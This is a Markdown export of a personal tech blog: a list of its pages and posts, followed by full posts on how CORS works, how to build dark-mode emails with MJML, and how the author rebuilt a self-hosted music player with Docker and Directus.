# Alson Kaw
> Thoughts, reviews & portfolio
Language: en
URL: https://alsonkaw.com/
All pages on this site are available as clean Markdown by adding the header `Accept: text/markdown` to any HTTP request.
REST API: https://alsonkaw.com/wp-json/mescio-for-agents/v1/markdown?url={page_url}
## Pages
- [Setup](https://alsonkaw.com/desk-set-up/): Desk Set-up My desk set-up for productivity. More detailed information below.Last updated: 6th September, 2024 Hide Hotspots 1. iPad Air 5 & Accessories2. Orico 5-Bay HDD Dock More info 3. Edifier R1280DBs More info 4. Scarlett 2i25.1 Sharge Elevator5.2 Sharge
- [How to Convertium](https://alsonkaw.com/how-to-convertium/)
- [Protected: Set-up-old](https://alsonkaw.com/setup-old/): Desk Set-up My desk set-up for productivity. Last updated: 1st April, 2024 1. Aulumu M01 Wireless Charging Stand 2. Dual Prism+ W280 Max 3. Mi Computer Monitor Light Bar 4. Edifier R1280DBs 5. Wowstick 1F+ & 2-Bay Orico HDD Dock
- [Reviews](https://alsonkaw.com/reviews/)
- [Muses](https://alsonkaw.com/muses/)
- [Home](https://alsonkaw.com/): Muses. Reviews. Portfolio. This is my digital playground — a space where I share my thoughts and dive deep into the world of technology, development, marketing, business, and psychology.Here, you’ll find a mix of my notable works, insights, product reviews,
- [Connect](https://alsonkaw.com/connect/): Connect Hey there. I’m Alson, the person behind this site — because I figured you might enjoy my insights on the latest tech and trends. I’ve been tinkering with this site since 2008. The site has went through countless revisions
- [Privacy Policy](https://alsonkaw.com/privacy-policy/): Privacy Policy I’m a strong advocate for privacy, and your confidentiality is of the highest importance to me. I neither can nor wish to identify you through site analytics. Site analytics are important for managing a website like this. When
- [Disclaimer](https://alsonkaw.com/disclaimer/): Disclaimer This blog has been around for quite a while—my first post dates back to 2009, where I rambled on about Rails vs. PHP. Initially, I created this space to share my journey and insights.Over the years, I’ve shifted my
- [About](https://alsonkaw.com/about/): Hello there, here we are. I am a thirty-five year old serial entrepreneur on a mission to make life easier for everybody using technology. I started out as a designer before pivoting into a developer and finally back to a
- [Portfolio](https://alsonkaw.com/portfolio/): Portfolio
## Blog Posts
- [Why Does CORS Keep Blocking Me?](https://alsonkaw.com/muse/cors-errors-are-the-browser-protecting-you/) (2026-06-23): CORS errors confused me too. Here's what Same Origin Policy and CORS actually do, why browsers enforce them, and how to configure your way out.
- [Building Dark Mode Emails That Works](https://alsonkaw.com/muse/building-dark-mode-emails-that-works/) (2026-06-12): MJML handles responsive email boilerplate so you don't have to. Here's how to implement dark mode, logo switching, and survive the email client minefield.
- [Project Apollo: Rebuilt After 13 Years](https://alsonkaw.com/muse/project-apollo-rebuilt-after-13-years/) (2026-06-08): Project Apollo started as a static HTML page in 2012. Here's how I rebuilt it into a self-hosted PWA on Docker, Directus, and vanilla JS — no bundler, no framework.
- [Your meeting. Their podcast.](https://alsonkaw.com/muse/your-meeting-their-podcast/) (2026-04-18): WebinarTV has been secretly infiltrating Zoom calls, recording them without consent, and turning them into AI podcasts. Here's the full breakdown.
- [Velocity Is the New Authority](https://alsonkaw.com/muse/velocity-is-the-new-authority/) (2026-02-24): By the time you finish this paragraph, the feed has refreshed itself several times. A handful of new headlines have surfaced. Most will disappear before the hour ends, including for the people who posted them. Scroll for ten minutes and
- [Lossless Streaming Now On Spotify Premium](https://alsonkaw.com/muse/lossless-streaming-now-on-spotify-premium/) (2025-09-18): via Spotify, For the Record Spotify just rolled out something listeners have been asking about for years: lossless audio for Premium subscribers. That means you can finally stream music in 24-bit/44.1 kHz FLAC, giving you more detail, depth, and nuance
- [Why We Won’t Hire a Junior with Five Years of Experience](https://alsonkaw.com/muse/why-we-wont-hire-a-junior-with-five-years-of-experience/) (2025-04-10): 37signals is on the lookout for a new junior programmer, and they're offering an impressive annual salary of USD$145,849. They're not just looking for someone with a ton of experience—they want a candidate with incredible potential. The idea is that
- [5 Essential Steps to Secure Your SSH Servers](https://alsonkaw.com/muse/5-essential-steps-to-secure-your-ssh-servers/) (2025-03-19): If you're like me and still find value in using traditional servers over the trendy serverless options, securing your SSH access is key. Whether you're maintaining a legacy system or running predictable workloads, keeping your SSH connections secure is crucial.
- [Best 10 AI Color Palette Generators for 2025](https://alsonkaw.com/muse/best-10-ai-color-palette-generators-for-2025/) (2025-02-24): If you haven't jumped on the AI color palette generator bandwagon yet, you're in for a treat. These tools make crafting stunning color combos a breeze, transforming your design game entirely. Here are my top 10 picks that every designer
- [How I Built a Budget Server That Packs a Punch Part 2](https://alsonkaw.com/muse/how-i-built-a-budget-server-that-packs-a-punch-part-2/) (2024-12-24): Moving Digital Furniture Without Breaking Anything Ah yes, the fun part of building a new server—migration. If hardware assembly feels like building IKEA furniture, service migration is more like moving a fully decorated house, room by room, hoping nothing fragile
- [How I Built a Budget Server That Packs a Punch Part 1](https://alsonkaw.com/muse/how-i-built-a-budget-server-that-packs-a-punch-part-1/) (2024-12-23): Preamble Lately, I’ve been finding myself grumbling more and more about how sluggish my old HP Z600 server has become. With its aging SATA 2.0 ports and 1066 MHz RAM, it’s clear the hardware is holding me back. While I’ve
- [The Depths of Ren Gill’s “Hi Ren”](https://alsonkaw.com/muse/the-depths-of-ren-gills-hi-ren/) (2024-08-29): I recently stumbled upon "Ren's music, "Hi Ren" on TikTok. From there, I dove into the rabbit hole of Ren Gill's music. Ren Gill isn’t your typical musician. He’s not just stringing together chords and catchy hooks—he’s pulling back the
- [The Real Cost of Fast Fashion](https://alsonkaw.com/muse/the-real-cost-of-fast-fashion/) (2024-08-28): Remember when shopping for clothes felt like an investment? You’d buy a few well-made pieces, and they’d last you for years. Today, things are different. Fast fashion giants like Zara and Shein have flipped the script, prioritizing speed and low
- [35 on the Way to 35](https://alsonkaw.com/muse/35-on-the-way-to-35/) (2024-08-23): Preamble This year marks my 34th birthday, and it feels like the right time to revisit something I started four years ago. Back then, inspired by Ryan Holiday's "33 Things I Stole From People Smarter Than Me on the Way
- [7 Conversation Hacks](https://alsonkaw.com/muse/7-conversation-hacks/) (2024-08-14): You know those parasitic fishes that stick themselves onto sharks and eat their leftovers? They are called the remora fish and the relationship between the sharks and these fishes are called a symbiotic relationship.
- [Talk to Me](https://alsonkaw.com/muse/talk-to-me/) (2023-12-17): Sophia Wilde is amazing in this film. She just fully portrayed someone on the verge of complete mental collapse for more than half the film and it really got to me. The rest of the cast was well acted but
- [Symbiotic Relationships in Tech](https://alsonkaw.com/muse/symbiotic-relationships-in-tech/) (2023-11-14): You know those parasitic fishes that stick themselves onto sharks and eat their leftovers? They are called the remora fish and the relationship between the sharks and these fishes are called a symbiotic relationship.
- [Server Screw-Up](https://alsonkaw.com/muse/server-screw-up/) (2023-11-02): Preamble Yesterday, I thought I should add a new 1TB drive to my home server as a backup for the photos stored within Immich. Since I have a couple users there, I'd like to at least have backup of the
- [Kindnessas a Signifier of intelligence](https://alsonkaw.com/muse/kindnessas-a-signifier-of-intelligence/) (2023-09-14): This excerpt from Governor J.B. Pritzker's commencement address at Northwestern University deeply resonates with me. As I grow older, my thoughts align increasingly with this perspective. While I recommend watching the entire speech, here's the essence of it that particularly
- [Jon Prosser on Marques Brownlee](https://alsonkaw.com/muse/jon-prosser-on-marques-brownlee/) (2023-09-14): Jon Prosser of “Front Page Tech” pays a heartfelt tribute to MKBHD, highlighting the extraordinary talent and impact of Marques Brownlee. Brownlee’s reviews are not only fair and insightful but also enjoyable to watch. His refined taste and engaging on-screen
- [Atlas VPN Linux Zero-Day Vulnerability Leaked](https://alsonkaw.com/muse/atlas-vpn-linux-zero-day-vulnerability-leaked/) (2023-09-08): A Reddit user named 'Educational-Map-8145' published a PoC exploit on Reddit that abuses the Atlas VPN Linux API to reveal a user's real IP addresses. This PoC creates a hidden form that is automatically submitted by JavaScript to connect to the http://127.0.0.1:8076/connection/stop API endpoint URL.
- [Apple Acquires Classical Music Specialty Label BIS Records](https://alsonkaw.com/muse/apple-acquires-classical-music-specialty-label-bis-records/) (2023-09-08): A few days ago BIS Records turned 50 years old and I am immensely proud of what our small team of people has accomplished during this half-century. BIS’s specialty, while paying our dues to the core repertoire, has been to
- [Misbehavior in Robot Taxis](https://alsonkaw.com/muse/misbehavior-in-robot-taxis/) (2023-09-01): Ever thought about getting down and dirty in a robotaxi? Want to light up a cig or a joint on the drive home from the club? You’re not alone. As autonomous vehicles become increasingly popular in San Francisco, some riders
- [Todd Vaziri on Corridor Crew “VFX Artists React”](https://alsonkaw.com/muse/todd-vaziri-on-corridor-crew-vfx-artists-react/) (2023-08-31): My favorite segment was on the three different ways — all utterly different — ILM made lava for the Anakin/Obi-Wan duel on Mustafar in Revenge of the Sith. The next was how to get the lightsaber's brightness to translate on
- [Threads Web App Launch](https://alsonkaw.com/muse/threads-web-app-launch/) (2023-08-26): Rolled out earlier this week, but by yesterday, I believe it's now available to everyone. Missing some features from the native iPhone/Android apps (no access to the chronological “following” feed yet), but quite solid overall — and there are some
- [Name Change Tanked X App Downloads](https://alsonkaw.com/muse/name-change-tanked-x-app-downloads/) (2023-08-23): Twitter has seen a dramatic decrease in its Top Downloaded chart position across both platforms since the app was renamed to X. Why? The situation presents a fascinating case study at the intersection of brand equity and mobile platform dynamics.
- [Twitter Threatens to Sue Meta Over Threads](https://alsonkaw.com/muse/twitter-threatens-to-sue-meta-over-threads/) (2023-07-07): Meta Executives Threaten to Piss Their Pants Laughing On Wednesday, Instagram parent company Meta introduced Threads, a text-based companion to Instagram that resembles Twitter and other text-based social platforms. Just hours later, a lawyer for Twitter, Alex Spiro, sent a
- [The Staggering Cost of Reddit’s API](https://alsonkaw.com/muse/the-staggering-cost-of-reddits-api/) (2023-06-05): Christian Selig, developer of the splendid Reddit client Apollo: I’ll cut to the chase: 50 million requests costs $12,000, a figure far more than I ever could have imagined.Apollo made 7 billion requests last month, which would put it at about
- [Why Android Users Switch to iPhone](https://alsonkaw.com/muse/why-android-users-switch-to-iphone/) (2023-06-05): On a survey of Android switchers conducted by CIRP: The top reason was actually an issue with the Android experience. Over 53% of respondents said they moved to iPhone because of problems with their Android smartphone. Specifics cited were “their old
- [Attention Span on the Internet](https://alsonkaw.com/muse/attention-span-on-the-internet/) (2023-04-11): You may have noticed that it's becoming harder and harder to focus on a single task for more than a few minutes at a time. This is likely due to our constant exposure to digital distractions, our increasingly busy lives,
- [GQ: “Tim Cook Thinks Different”](https://alsonkaw.com/muse/gq-tim-cook-thinks-different/) (2023-04-08): Tim Cook on Shaping the Future of Apple — Zach Baron, GQ Zach Baron’s cover story for GQ, a profile of Tim Cook, is a must-read: And yet Cook is, in the wealth of biographies and hagiography that has grown
- [Tetris](https://alsonkaw.com/muse/tetris/) (2023-04-07): Came across Tetris the Movie while scouring the internet for new movies to watch. If you like biographical-drama films like me, you'll really love Tetris. The film is extremely engaging and really tells the untold behind-the-scenes story of how a
- [Why I Won’t Use a YubiKey](https://alsonkaw.com/muse/why-i-wont-use-a-yubikey/) (2023-04-04): Came across this article recently. I Won't Buy a YubiKey — Garrit Franke In this interesting post, Garrit talks about why he wouldn't buy a YubiKey and I resonate with his thoughts. Just like Garrit, I own an iPhone. With
- [MacOS Multi-Display Swapping](https://alsonkaw.com/muse/macos-multi-display-swapping/) (2023-03-25): MacOS has a "flaw" when it comes to external displays. If you use two or more of the same exact model of display for your external displays, it will have trouble remembering your display settings. This is because MacOS, by
- [Zapier Re-design](https://alsonkaw.com/muse/zapier-re-design/) (2022-07-12): From photography and typography to colors and artwork — it’s an identity system built around their customers’ stories.
- [Difficult](https://alsonkaw.com/muse/difficult/) (2022-06-28): Is she "difficult" or is she inhabiting a body you are not accustomed to taking orders from? @NotNikyatu from Twitter A very powerful statement I stumbled upon on Twitter.
- [15-inch MacBook Air](https://alsonkaw.com/muse/15-inch-macbook-air/) (2022-06-13): Apple is rumored to be working on a 15-inch MacBook Air and a new 12-inch MacBook, according to Bloomberg, citing sources familiar with Apple's plans. The source also revealed details about the M2 series of chips in Apple's high-performance MacBook
- [McDonald’s De-Arched.](https://alsonkaw.com/muse/mcdonalds-de-arched/) (2022-06-11): Following Russia's attack on Ukraine, McDonald's sold its Russian business to a regional franchisee. On the condition that they could not use the brand's iconic branding, but allowed them to keep the same menu. McD called this "the process of
- [Just How Long Should Alt Text Be?](https://alsonkaw.com/muse/just-how-long-should-alt-text-be/) (2022-06-02): So, how long should alt text be? The general consensus here is that there is no hard limit, but more of a contextual awareness of what purpose the image serves and adapting to it accordingly.— Just How Long Should Alt Text Be?
- [Instagram Sans Typeface](https://alsonkaw.com/muse/instagram-sans-typeface/) (2022-05-25): A closer look at the new custom type of Instagram's latest brand refresh made with Colophon Foundry.
- [Apophenia](https://alsonkaw.com/muse/apophenia/) (2022-02-25): The tendency to perceive a connection or meaningful pattern between unrelated things (such as objects or ideas). I’d suspect there was often a subconscious—or conscious—motivated reason tied to it. Apophenia is often used in a psychological or sociological context (e.g.,
- [M1-Specific Malware Detected](https://alsonkaw.com/muse/m1-specific-malware-detected/) (2021-02-24): The GoSearch22 adware introduces itself as a regular Safari browser extension. Once installed, however, it collects user data and offers a wide range of advertisements, such as banners, pop-ups, and links to random sites. Analysis of the threat reveals that
- [This year wasn’t unprecedented](https://alsonkaw.com/muse/this-year-wasnt-unprecedented-if-anything-it-set-the-precedent/) (2021-01-12): Nothing that happened this year came out of the blue. It had all been foretold in the warnings of experts over decades. The problem is that these warnings came mostly from environmental scientists, who are the kinds of experts we
- [Career Cold Start Algorithm](https://alsonkaw.com/muse/career-cold-start-algorithm/) (2020-07-12): Names show up and the context in which they show up tends to provide a very different map of the organization than the one in the org chart.— Andrew Bosworth on the Career Cold Start Algorithm In my time as a
- [10 Reasons Why Designers Prefer the Mac](https://alsonkaw.com/muse/10-reasons-why-designers-prefer-the-mac/) (2015-03-11): Recently came across a reddit article titled Must I really get a MacBook and thought it was interesting how the design industry is so prevalent with Macintoshes. Be it the iPad Air or the Retina 5k display iMac, ask any designer out
- [What Does Full-Stack Anything Really Mean?](https://alsonkaw.com/muse/what-does-full-stack-anything-really-mean/) (2014-07-15): I’ve been introducing myself as a full stack designer/developer hybrid for some time — when asked exactly what do I do. And then I always get the same next question — what does a full stack designer / developer mean?
- [Go out and do something ordinary!](https://alsonkaw.com/muse/go-out-and-do-something-ordinary/) (2012-01-06): You don't discover a problem worth solving by fantasizing with your co-founders "If there be an app that could do X, would it be cool?" You don't discover a problem worth solving by playing the This for That game. However,
- [Accidental Entrepreneurs Don’t Exist](https://alsonkaw.com/muse/16056-2/) (2011-12-02): In response to this article. The overall point of the author's post is correct, basically: have lots of ideas (90% of them are shit anyway), get used to failing, and suck it up, asshole! I'm just against the romantic idea
- [Non-Alphanumeric PHP Shell](https://alsonkaw.com/muse/non-alphanumeric-php-shell/) (2011-11-24): UPDATE NOV 13 2013: As seen on Sucuri, this exact snippet of mine was spotted in the wild in 2013. When this article was first published in 2011, my blog was at blog.omfgitsasalmon.com (Wayback machine) and I wasn't getting a
- [Mobile Apps vs. Mobile Web](https://alsonkaw.com/muse/mobile-apps-vs-mobile-web/) (2011-11-12): When you log into your computer at home and visit Facebook, most people type "facebook" into their browser. Some people may click bookmarks in their browsers. You certainly won't find and open version 1.1 of the Facebook desktop app for
---
# Full Content
---
title: "Why Does CORS Keep Blocking Me?"
url: "https://alsonkaw.com/muse/cors-errors-are-the-browser-protecting-you/"
lang: "en-US"
type: "post"
description: "CORS errors confused me too. Here's what Same Origin Policy and CORS actually do, why browsers enforce them, and how to configure your way out."
last_modified: "2026-06-23T04:39:37+00:00"
categories: [Cybersecurity & Digital Privacy Insights]
tags: [browser, CORS, Http Headers, javascript, Web Security]
---
# Why Does CORS Keep Blocking Me?
You’ve seen it. You’re building something, you make a fetch call to an API, and the browser console lights up red:
>
_Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at [https://api.example.com](https://api.example.com)._
Your first instinct is that something is broken. It isn’t. The browser is doing exactly what it’s supposed to do.
Here’s what’s actually going on.
### The Browser’s Default Paranoia: Same Origin Policy
Browsers enforce something called the [Same Origin Policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) (SOP). The rule is simple: JavaScript on one origin cannot read responses from a different origin.
“Origin” means the combination of protocol, domain, and port. `https://app.example.com` and `https://api.example.com` are different origins, even though they share a root domain. So are `http://example.com` and `https://example.com` — the protocol difference is enough.
This exists for a very good reason. Without it, any website you visit could use your browser to make authenticated requests to your bank, your email, your admin panel — and read the responses. Your cookies would go along for the ride, because that’s how browsers work. SOP is the thing standing between normal web browsing and that scenario.
### CORS Is the Exception, Not the Solution
CORS — Cross-Origin Resource Sharing — is how servers say “actually, requests from _this_ origin are fine.” It’s the server granting exceptions to SOP, using HTTP response headers.
The browser doesn’t trust JavaScript to self-certify. It asks the server: “Is this origin allowed?” The server answers through headers. If the answer is yes and the headers match, the browser lets JavaScript access the response. If not, the request is blocked — even if the server returned a 200.
That last point trips people up. The request often goes through. The _response_ gets blocked on the browser side. [CORS errors don’t expose the details to JavaScript code](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors) — all it sees is a failed request. You have to open the Network tab in DevTools to see what actually happened.
### The Headers That Matter
**`Access-Control-Allow-Origin`**
This is the main one. The server sets it to declare which origins can read its responses. If your frontend is at `https://app.example.com` and your API is at `https://api.example.com`, your API needs to return:
Access-Control-Allow-Origin: https://app.example.com
You’ll often see `*` (wildcard) suggested as a quick fix. It works for public, unauthenticated APIs. For anything involving cookies or user sessions, the browser rejects `*` entirely — so that “fix” won’t actually fix anything.
**`Access-Control-Allow-Credentials`**
If your app sends cookies or uses session-based auth, you need this set to `true` on the server. And crucially, when `credentials: 'include'` is set on the fetch call, `Access-Control-Allow-Origin` must be a specific origin, not `*`. The browser enforces this hard rule.
**`Access-Control-Allow-Methods` and `Access-Control-Allow-Headers`**
Needed when you’re using HTTP methods beyond GET/POST, or sending custom headers like `Authorization` or `Content-Type: application/json`. These trigger what’s called a _preflight request_ — the browser sends an OPTIONS request first to check whether the actual request is permitted before sending it.
### Preflight: The Extra Round Trip
When a request isn’t “simple” — [the Fetch spec defines simple requests](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) as basic GETs and POSTs with standard content types — the browser fires a preflight OPTIONS request to the same URL before attempting the real one.
The server needs to respond to that OPTIONS request with the appropriate CORS headers. If your backend framework isn’t configured to handle OPTIONS or strips those headers on preflight responses, CORS will fail even if your actual endpoint is set up correctly. This is one of the most common points of confusion.
### Where Things Go Wrong
The mistakes that cause CORS headaches are almost always on the server side, not in your frontend code.
The most dangerous misconfiguration is dynamically reflecting whatever origin the request sends — basically echoing back the `Origin` header as `Access-Control-Allow-Origin` without checking it against a whitelist. [PortSwigger’s research on CORS vulnerabilities](https://portswigger.net/web-security/cors) covers this in depth: if an attacker controls a domain and your server just reflects any origin, your API’s CORS policy becomes effectively useless against cross-site attacks.
Other common mistakes:
- Setting `Access-Control-Allow-Origin: *` while also setting `Access-Control-Allow-Credentials: true` — the browser blocks this combination by design
- Forgetting to handle OPTIONS preflight on the server, so the check fails before the real request gets through
- Configuring CORS correctly on the application layer, but a reverse proxy (Nginx, a load balancer) strips or overwrites the headers before they reach the browser
### The Right Mental Model
CORS is not a security mechanism you configure on your frontend. Your JavaScript cannot control it, bypass it, or configure it. It’s a contract between the server and the browser.
If you’re hitting CORS errors on a third-party API you don’t control, there’s no frontend fix — you route requests through your own backend, which then calls the API server-to-server. Server-to-server calls aren’t subject to SOP. Only browsers enforce it.
If you’re building the API, you set the CORS headers. MDN’s [CORS implementation guide](https://developer.mozilla.org/en-US/docs/Web/Security/Practical_implementation_guides/CORS) is worth bookmarking — it covers exactly which headers to set and when. Most frameworks have middleware that handles this, but understanding what that middleware is actually doing will save you hours when something doesn’t behave as expected.
The error message is annoying, but the mechanism it’s enforcing is the reason you can browse the web without every site you visit raiding your other tabs.
---
---
title: "Building Dark Mode Emails That Works"
url: "https://alsonkaw.com/muse/building-dark-mode-emails-that-works/"
lang: "en-US"
type: "post"
description: "MJML handles responsive email boilerplate so you don't have to. Here's how to implement dark mode, logo switching, and survive the email client minefield."
last_modified: "2026-06-12T07:55:07+00:00"
categories: [Technology Innovations & Future Trends]
tags: [CSS, Dark Mode, Email Development, HTML Email, MJML, Web Development]
---
# Building Dark Mode Emails That Works
HTML email development is famously unpleasant. You are writing table-based layouts in 2026 because Microsoft decided in 2007 that Outlook should use the Word rendering engine instead of a browser engine. That one product decision, made nearly two decades ago, is why email developers are still nesting tables and writing inline CSS by hand.
If it works in a browser, it will probably fail in at least one email client your audience uses. MJML exists to absorb as much of that pain as possible.
### What MJML Is
[MJML](https://mjml.io/) (Mailjet Markup Language) is a framework that compiles to production-ready, table-based, inline-styled HTML. You write clean, readable markup using MJML components — `mj-section`, `mj-column`, `mj-text`, `mj-image` — and the compiler outputs the nested table soup that email clients actually need.
Install it globally via npm:
npm install -g mjml
Compile a template:
mjml template.mjml -o output.html
A basic template looks like this:
Hello from MJML.
Clean to write. The compiled output is around 200 lines of tables and inline styles that you would never want to maintain by hand.
### Why Email Rendering Is Still Broken
Web browsers have largely converged on standards. Email clients have not. The reason is structural: email clients are not browsers. Gmail strips your HTML and renders it inside its own DOM. Outlook on Windows uses the Word rendering engine. Apple Mail uses WebKit. Each one has its own rules about what CSS it supports, what it ignores, and what it actively overwrites.
Flexbox, grid, even basic `margin: 0 auto` — they all fail unpredictably in the email client your biggest customer segment uses.
The practical result: you have to design for the worst renderer, enhance for the best, and accept that your email will look slightly different in different clients. That is not a bug. That is how email works.
### How Email Clients Handle Dark Mode
At least 35% of email opens now happen in dark mode — a figure that has only grown since 2022. The problem is that every major client handles dark mode differently, and several of them handle it badly.
There are broadly three behaviours:
**Full colour inversion** — the client inverts everything: backgrounds, text, and sometimes images. This is the most invasive approach, and it is used by Gmail on iOS, Outlook 2021 on Windows, Office 365 on Windows, and Windows Mail. If you already designed your email with a dark theme, full inversion will ironically force it to become light.
**Partial inversion** — the client darkens background colours and lightens text but leaves images largely untouched. This is observed in modern iOS Mail builds and Outlook Mobile.
**Respects `prefers-color-scheme`** — the client honours your custom dark mode CSS. Apple Mail, iOS Mail, Outlook 2019 and later, Samsung Mail, and Thunderbird all support `@media (prefers-color-scheme: dark)`. You can define exactly what your email looks like in dark mode in these clients.
The practical implication: dark mode overrides via media queries will not work in Gmail or in old versions of Outlook. Build for progressive enhancement — your email should be readable without any dark mode overrides, and the overrides are a bonus for clients that support them.
### Implementing Dark Mode in MJML
Dark mode styles go inside an `mj-style` block in the `mj-head`. Use `!important` on everything — email clients apply their own styles aggressively and `!important` is the only reliable way to win.
:root {
color-scheme: light dark;
supported-color-schemes: light dark;
}
@media (prefers-color-scheme: dark) {
body,
.mj-body {
background-color: #1a1a1a !important;
background-image: linear-gradient(#1a1a1a, #1a1a1a) !important;
}
.mj-section,
.mj-section > table {
background-color: #242424 !important;
background-image: linear-gradient(#242424, #242424) !important;
}
.mj-text p,
.mj-text td,
.mj-text div {
color: #e8e8e8 !important;
}
.mj-button a {
background-color: #4a9eff !important;
color: #ffffff !important;
}
}
A note on `background-image: linear-gradient(...)`: this is not decorative. Some email clients honour `background-color` overrides but ignore them when a background image is set. The single-colour linear gradient forces the background to the correct value in those clients.
Also note: `mj-class` attributes map to the compiled CSS class names, which is what lets you target specific sections. The compiled class for an `mj-section` is `.mj-section`, for `mj-text` it is `.mj-text`, and so on.
### The Outlook Targeting Problem
For Outlook on Windows — which still uses the Word engine — media queries are completely ignored. In 2025 and 2026, you are dealing with dual Outlook pain: the old Word-engine desktop client and the newer Chromium-based Outlook simultaneously. Conditional comments are the standard workaround.
MJML handles a lot of this for you in its compiled output. But when you need to target Outlook specifically — for dark mode background overrides, for example — the `[data-ogsc]` attribute selector is the correct approach for Outlook.com, which partially inverts colours:
[data-ogsc] .email-container {
background-color: #1a1a1a !important;
}
### Logo Switching for Dark Mode
A light logo on a dark background becomes invisible. The standard solution in MJML is a dual-image pattern inside an `mj-raw` block, using CSS to show and hide each version depending on the colour scheme.
Then in your `mj-style` block:
@media (prefers-color-scheme: dark) {
.logo-light {
display: none !important;
max-height: 0 !important;
overflow: hidden !important;
}
.logo-dark {
max-height: none !important;
overflow: visible !important;
}
}
The `max-height: 0` and `overflow: hidden` approach on the dark logo container is more reliable than `display: none` alone — some clients ignore `display` changes but respect height constraints. Using both is the safest approach.
One caveat worth flagging: because `prefers-color-scheme` has limited email client support, it is worth ensuring the light version of your logo is also legible in clients that do not support dark mode switching — a subtle drop shadow or border can help. For clients that do full colour inversion (Gmail iOS, Outlook Windows), the logo will be inverted automatically regardless, and there is nothing CSS can do about it.
### A Complete Dark Mode Template Structure
Putting it together:
Your preview text here.
:root {
color-scheme: light dark;
supported-color-schemes: light dark;
}
@media (prefers-color-scheme: dark) {
body, .mj-body {
background-color: #111111 !important;
background-image: linear-gradient(#111111, #111111) !important;
}
.email-body,
.email-body > table {
background-color: #1e1e1e !important;
background-image: linear-gradient(#1e1e1e, #1e1e1e) !important;
}
.email-text p,
.email-text td {
color: #e0e0e0 !important;
}
.logo-light {
display: none !important;
max-height: 0 !important;
overflow: hidden !important;
}
.logo-dark {
max-height: none !important;
overflow: visible !important;
}
}
Your content here.
### Testing
No amount of careful CSS fixes every client. The only reliable way to know what your email looks like is to test in the actual clients. [Litmus](https://www.litmus.com) and [Email on Acid](https://www.emailonacid.com) both offer preview tools that render your compiled HTML across dozens of client and OS combinations. Apple Mail has the best dark mode support and is a sensible first testing target. Always follow up with Gmail and Outlook to verify nothing breaks in the clients that ignore your media queries entirely.
The goal is not a pixel-perfect dark mode in every client. The goal is an email that is readable and not embarrassing in every client, and looks considered in the ones that support your overrides.
---
---
title: "Project Apollo: Rebuilt After 13 Years"
url: "https://alsonkaw.com/muse/project-apollo-rebuilt-after-13-years/"
lang: "en-US"
type: "post"
description: "Project Apollo started as a static HTML page in 2012. Here's how I rebuilt it into a self-hosted PWA on Docker, Directus, and vanilla JS — no bundler, no framework."
last_modified: "2026-06-08T10:34:57+00:00"
categories: [Homelab Projects & Self-Hosting Adventures]
tags: [Caddy, Directus, Docker, PWA, Self-Hosting, Vanilla JS, Web Development]
---
# Project Apollo: Rebuilt After 13 Years
Project Apollo started in 2012 as a static HTML page. One file, hard-coded paths pointing to audio and image assets in folders, served directly by Apache. No CMS, no database, no deployment pipeline. It worked, and it kept working untouched for over a decade.
Last month I rewrote the entire thing from scratch. The UI was redesigned and built with Claude Design and Claude Code. The architecture was rebuilt properly — a headless CMS, Docker Compose, a reverse proxy, and a deployment setup that can be reproduced on a fresh server in under ten minutes.
The core idea stayed the same: a hand-curated, editorial music experience. Weekly playlist drops, album art front and centre, no algorithm, no shuffle-everything streaming service behaviour. Just a list of songs someone picked for you.
### Two Apps, One Codebase
The rewrite also solved a problem the original never had to consider. I needed two deployments of the same player for two different audiences: Project Apollo at [apollo.maya329.com](https://apollo.maya329.com/) for English listeners, and Maomao Radio at [music.maomao329.com](https://music.maomao329.com/) for a Chinese-language audience.
The approach: one Git repository, two Docker Compose stacks on the same server, each with its own Directus instance and PostgreSQL database. The front-end code is identical across both. Feature differences between the two — including a Mandarin pinyin toggle that only exists on Maomao Radio — are controlled entirely through CMS settings, not code branches.
This means both apps always run the same version of the code. Bug fixes and new features deploy to both simultaneously. There is no Apollo-branch or Maomao-branch to maintain. Feature divergence lives in configuration, not in the codebase.
### The Stack
Three Docker Compose services handle everything:
- **Caddy** — reverse proxy and static file server
- **Directus** — headless CMS, managing playlists, songs, files, and settings
- **PostgreSQL 15** — backing Directus
Browser
└── Cloudflare Tunnel → Server
└── Caddy :80
├── /cms/* → Directus :8055
└── /* → /srv (static SPA files)
Routing the CMS API through `/cms` on the same origin as the front-end eliminates CORS entirely. Directus is never exposed directly to the public — all traffic passes through Caddy, which strips the prefix and proxies the request.
The front-end files are baked into the Caddy Docker image at build time, copied directly into `/srv`. No volume mounts. A code deploy is:
docker compose down && git pull && docker compose up -d --build
Either the image has the right files or it doesn’t — no sync step, no deployment state to worry about.
### No Build Tooling
The entire front-end is four files:
| File | Lines |
| --- | --- |
| index.html | ~150 |
| js/app.js | ~892 |
| css/styles.css | ~1035 |
| css/mediaqueries.css | ~456 |
No npm. No webpack. No TypeScript. No build step of any kind. The files are written, versioned, and deployed as-is. Cache-busting is a version query string on JS and CSS files — `?v=20260608f` — bumped manually on every change. Crude but completely explicit. No fingerprinting, no hash computation, no CI pipeline needed to know what version is deployed.
The only runtime dependency is Phosphor Icons, loaded via a deferred script tag from a CDN. The pinyin-pro library for Maomao’s pinyin toggle is loaded lazily via dynamic import only on the Maomao deployment, only when the user opens the lyrics panel for the first time.
### Directus as a Content Layer
Directus manages playlists, songs, album art, audio files, and lyrics. It is consumed read-only by the front-end. There is no custom server-side logic — all business rules are expressed as Directus query parameters.
On load, the front-end makes a single API call that fetches the entire playlist tree: playlists, nested songs, file references, metadata, and streaming links, all in one round trip. Only published songs are included — the draft filter runs server-side, so unpublished content never reaches the client.
The data model is straightforward:
- **playlists** — week label, start date, nested songs array
- **songs** — title, artist, album, album art (file reference), accent colour (hex), audio file, lyrics, LRC file, Spotify and Apple Music links, sort order, status
- **settings** — CMS-controlled labels, placeholders, and feature flags including the pinyin toggle switch
One detail worth noting on LRC files: the `.lrc` format has no registered IANA MIME type. Directus’s content-type filter would silently block uploads. Setting the allowed MIME types to an empty array on that field bypasses the restriction.
### Deployment with Make
bash
make deploy-prd
That runs two SSH commands in parallel — one for each deployment on the server — both executing:
docker compose down && git pull && docker compose up -d --build
Both apps rebuild and restart from a single command on the local machine.
Schema changes to Directus use a separate `make schema-apply` step, which copies `directus-schema.yaml` into the running container and calls `directus schema apply`. Folder UUIDs in Directus are hard-coded and inserted once at setup time so that schema field references resolve without manual patching after a fresh install. If you’ve read the [Makefile article](/topic/automation), this is exactly the kind of workflow a Makefile is built for.
